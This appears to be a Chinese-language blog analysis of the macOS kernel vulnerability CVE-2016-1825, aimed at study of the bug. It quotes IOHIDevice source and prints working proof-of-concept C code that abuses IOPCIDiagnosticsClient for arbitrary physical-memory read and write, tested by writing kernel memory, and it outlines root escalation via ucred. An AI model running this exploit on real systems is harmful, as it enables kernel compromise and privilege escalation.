CVE-2016-1825是IOHIDFamily.kext内核扩展内的一个洞,在OS X 10.11.5以前版本的系统都存在该漏洞,由于允许IOHIDevice
重新设置IOUserClientClass
属性,导致任意代码执行。
虚拟机: OS X Yosemite 10.10.5 14F27
主机: macOS Mojave 10.14.2 18C54
内核调试环境的搭建可以参照这一文:
macOS内核提权:利用CVE-2016-1758获取kernel slide(Part1)
在开始分析之前,先来了解一些概念:
1.IOKit?
IOKit是用于设备驱动程序的框架和内核子系统,与IOKit的所有交互都以IOKit主端口开始,这是另一个特殊的机器端口,允许访问IOKit Registry。 IOKit Registry允许用户态程序查找可用的硬件,而设备驱动程序可以通过实现UserClient将接口暴露给用户空间。用户空间实际与IOKit驱动程序的UserClient交互的主要方式是通过io_connect_method
,此方法由IOKitUser库函数IOConnectCallMethod封装。
2.IOKit Registry?
IOKit Registry实际上是一个驱动程序可以声明键值对的地方(其中键是一个字符串,其值是属于CoreFoundation的数据类型),驱动程序还可以指定其中一些键是可配置的,这意味着从用户空间可以使用IOKit Registry的API来设置新值。
获取macOS kext扩展源码
打开IOHIDSystem/IOHIDevice.cpp
,找到IOHIDevice::setProperties
、IOHIDevice::setParamProperties
方法
// RY: Override IORegistryEntry::setProperties(). This will allow properties
// to be set per device, instead of globally via setParamProperties.
IOReturn IOHIDevice::setProperties( OSObject * properties )
{
OSDictionary * propertyDict = OSDynamicCast(OSDictionary, properties);
IOReturn ret = kIOReturnBadArgument;
if ( propertyDict ) {
if (propertyDict->setOptions(0, 0) & OSDictionary::kImmutable) {
OSDictionary * temp = propertyDict;
propertyDict = OSDynamicCast(OSDictionary, temp->copyCollection());
}
else {
propertyDict->retain();
}
propertyDict->setObject(kIOHIDDeviceParametersKey, kOSBooleanTrue);
ret = setParamProperties( propertyDict );
propertyDict->removeObject(kIOHIDDeviceParametersKey);
propertyDict->release();
}
return ret;
}
IOReturn IOHIDevice::setParamProperties( OSDictionary * dict )
{
IOHIDEventService * eventService = NULL;
if ( dict->getObject(kIOHIDEventServicePropertiesKey) == NULL ) {
IOService * service = getProvider();
if ( service )
eventService = OSDynamicCast(IOHIDEventService, service);
}
if ( dict->getObject(kIOHIDDeviceParametersKey) == kOSBooleanTrue ) {
OSDictionary * deviceParameters = OSDynamicCast(OSDictionary, copyProperty(kIOHIDParametersKey));
if ( !deviceParameters ) {
deviceParameters = OSDictionary::withCapacity(4);
}
else {
if (deviceParameters->setOptions(0, 0) & OSDictionary::kImmutable) {
OSDictionary * temp = deviceParameters;
deviceParameters = OSDynamicCast(OSDictionary, temp->copyCollection());
temp->release();
}
else {
// do nothing
}
}
if ( deviceParameters ) {
// RY: Because K&M Prefs and Admin still expect device props to be
// top level, let's continue to set them via setProperty. When we get
// Max to migrate over, we can remove the interator code and use:
// deviceParameters->merge(dict);
// deviceParameters->removeObject(kIOHIDResetKeyboardKey);
// deviceParameters->removeObject(kIOHIDResetPointerKey);
// setProperty(kIOHIDParametersKey, deviceParameters);
// deviceParameters->release();
OSCollectionIterator * iterator = OSCollectionIterator::withCollection(dict);
if ( iterator ) {
OSSymbol * key;
while ( ( key = (OSSymbol *)iterator->getNextObject() ) )
if ( !key->isEqualTo(kIOHIDResetKeyboardKey) &&
!key->isEqualTo(kIOHIDResetPointerKey) &&
!key->isEqualTo(kIOHIDScrollResetKey) &&
!key->isEqualTo(kIOHIDDeviceParametersKey) &&
!key->isEqualTo(kIOHIDResetLEDsKey)) {
OSObject * value = dict->getObject(key);
deviceParameters->setObject(key, value);
setProperty(key, value);
}
iterator->release();
}
setProperty(kIOHIDParametersKey, deviceParameters);
deviceParameters->release();
// RY: Propogate up to IOHIDEventService level
if ( eventService )
eventService->setSystemProperties(dict);
}
else {
return kIOReturnNoMemory;
}
}
return( kIOReturnSuccess );
}
漏洞点在IOHIDevice::setParamProperties
方法上,该方法会迭代含有键值对的字典,并对每个健值对调用setProperty
方法。
打开IOHIDEventServiceClass
,该处代码重写了setProperties
方法,以允许用户程序通过调用IORegistryEntrySetCFProperty
方法,进入io_registry_entry_set_properties
Mach陷阱设置属性。
这样,我们可以在在IOHIDevice的实例上设置IOUserClientClass客户端类属性,然后会在内核中会分配一个IOUserClient子类,通过相应子类方法可以从用户态操作内核态的数据。示例代码:
void physic_init() {
// Get a handle to a service that allows setting arbitrary IORegistry properties.
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching(target_service));
if (service == IO_OBJECT_NULL) {
printf("could not find any services matching %s", target_service);
}
kern_return_t kr = IORegistryEntrySetCFProperty(service,
CFSTR("IOUserClientClass"),
CFSTR("xxxxxxxx"));
if (kr != KERN_SUCCESS) {
printf("could not set property: %x", kr);
}
......
}
打开IOPCIBridge.cpp
,该方法会new一个PCIBridge
的clientIOPCIDiagnosticsClient
,用于调试PCI桥,当然这里Alloc相应的内核资源以前会首先检查是否具有管理员权限
再看到IOPCIDiagnosticsClient::externalMethod
方法,当传入selector
的参数为kIOPCIDiagnosticsMethodWrite
,会向物理地址写入数据
当传入selector
的参数为kIOPCIDiagnosticsMethodRead
,会读出制定物理地址的数据
打开tools/pcidump.c
,找到调用物理内存读写方法的配置。
向物理地址写入
从物理地址读出
现在总结一下以上的分析过程,以及如何利用漏洞读写物理地址:
1.找到IOHIDevice
这个service,调用IORegistryEntrySetCFProperty
方法将IOPCIDiagnosticsClient
设置成IOUserClientClass
属性。
2.在用户态空间连接上IOPCIDiagnosticsClient
。
3.配置IOPCIDiagnosticsParameters
参数,获得对物理地址的读写方法。
编译以下poc代码(已上传到个人Github上[传送门]),部分核心代码:
#include <CoreFoundation/CoreFoundation.h>
#include <IOKit/IOKitLib.h>
#include "physic.h"
// Definitions from IOPCIDevice.h
enum {
kIOPCIConfigSpace = 0,
kIOPCIIOSpace = 1,
kIOPCI32BitMemorySpace = 2,
kIOPCI64BitMemorySpace = 3
};
// Definitions from IOPCIPrivate.h
enum {
kIOPCIDiagnosticsMethodRead = 0,
kIOPCIDiagnosticsMethodWrite = 1,
kIOPCIDiagnosticsMethodCount
};
struct IOPCIDiagnosticsParameters {
uint32_t options;
uint32_t spaceType;
uint32_t bitWidth;
uint32_t _resv;
uint64_t value;
union {
uint64_t addr64;
struct {
unsigned int offset :16;
unsigned int function :3;
unsigned int device :5;
unsigned int bus :8;
unsigned int segment :16;
unsigned int reserved :16;
} pci;
} address;
};
#define TARGET_SERVICE "IOHIDevice"
static const char *target_service = TARGET_SERVICE;
// A connection to an instance of IOPCIDiagnosticsClient through which we can access physical
static io_connect_t connection;
void physic_init() {
// Get a handle to a service that allows setting arbitrary IORegistry properties.
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching(target_service));
if (service == IO_OBJECT_NULL) {
printf("could not find any services matching %s", target_service);
}
kern_return_t kr = IORegistryEntrySetCFProperty(service,
CFSTR("IOUserClientClass"),
CFSTR("IOPCIDiagnosticsClient"));
if (kr != KERN_SUCCESS) {
printf("could not set property: %x", kr);
}
// Create a connection to the IOPCIDiagnosticsClient.
kr = IOServiceOpen(service, mach_task_self(), 0, &connection);
IOObjectRelease(service);
if (kr != KERN_SUCCESS) {
printf("could not open connection: %x", kr);
}
}
uint64_t physic_read(uint64_t paddr, unsigned width) {
struct IOPCIDiagnosticsParameters param;
param.spaceType = kIOPCI64BitMemorySpace;
param.bitWidth = width * 8;
param.options = 0;
param.address.addr64 = paddr;
param.value = -1;
size_t size = sizeof(param);
kern_return_t kr = IOConnectCallMethod(connection, kIOPCIDiagnosticsMethodRead,
NULL, 0,
¶m, sizeof(param),
NULL, NULL,
¶m, &size);
if (kr != KERN_SUCCESS) {
printf("could not read physical address %p: %x", (void *)paddr, kr);
}
return param.value;
}
void physic_write(uint64_t paddr, uint64_t value, unsigned width) {
struct IOPCIDiagnosticsParameters param;
param.spaceType = kIOPCI64BitMemorySpace;
param.bitWidth = width * 8;
param.options = 0;
param.address.addr64 = paddr;
param.value = value;
kern_return_t kr = IOConnectCallMethod(connection, kIOPCIDiagnosticsMethodWrite,
NULL, 0,
¶m, sizeof(param),
NULL, NULL,
NULL, NULL);
if (kr != KERN_SUCCESS) {
printf("could not write physical address %p: %x", (void *)paddr, kr);
}
}
为了验证poc是否能够对物理地址进行读写,我们需要在内核中找一块地,对该处数据进行读写。
查看kernel载入基址
查看基址数据,我们选取0xffffff800c000040
该处地址做读写测试
32位的mac系统的物理地址直接就是虚拟地址,而对于64位的mac系统,将虚拟地址略去高32位即可
读取物理地址0xc000040
,读出来的值与调试器显示的值一致
将数据0xdeadbeefdeadbeef
写入物理地址0xc000040
回到调试器,查看0xffffff800c000040
处的数据,写入成功
现在相当于可以对内核数据任意读写了,更进一步,我们可以将ucred结构的cr_svuid
设置成0完成提权,关于提权过程这里就不展开了,可以参考这篇文章[macOS内核提权:利用CVE-2016-1828本地权限提升(Part2) ]
WIN~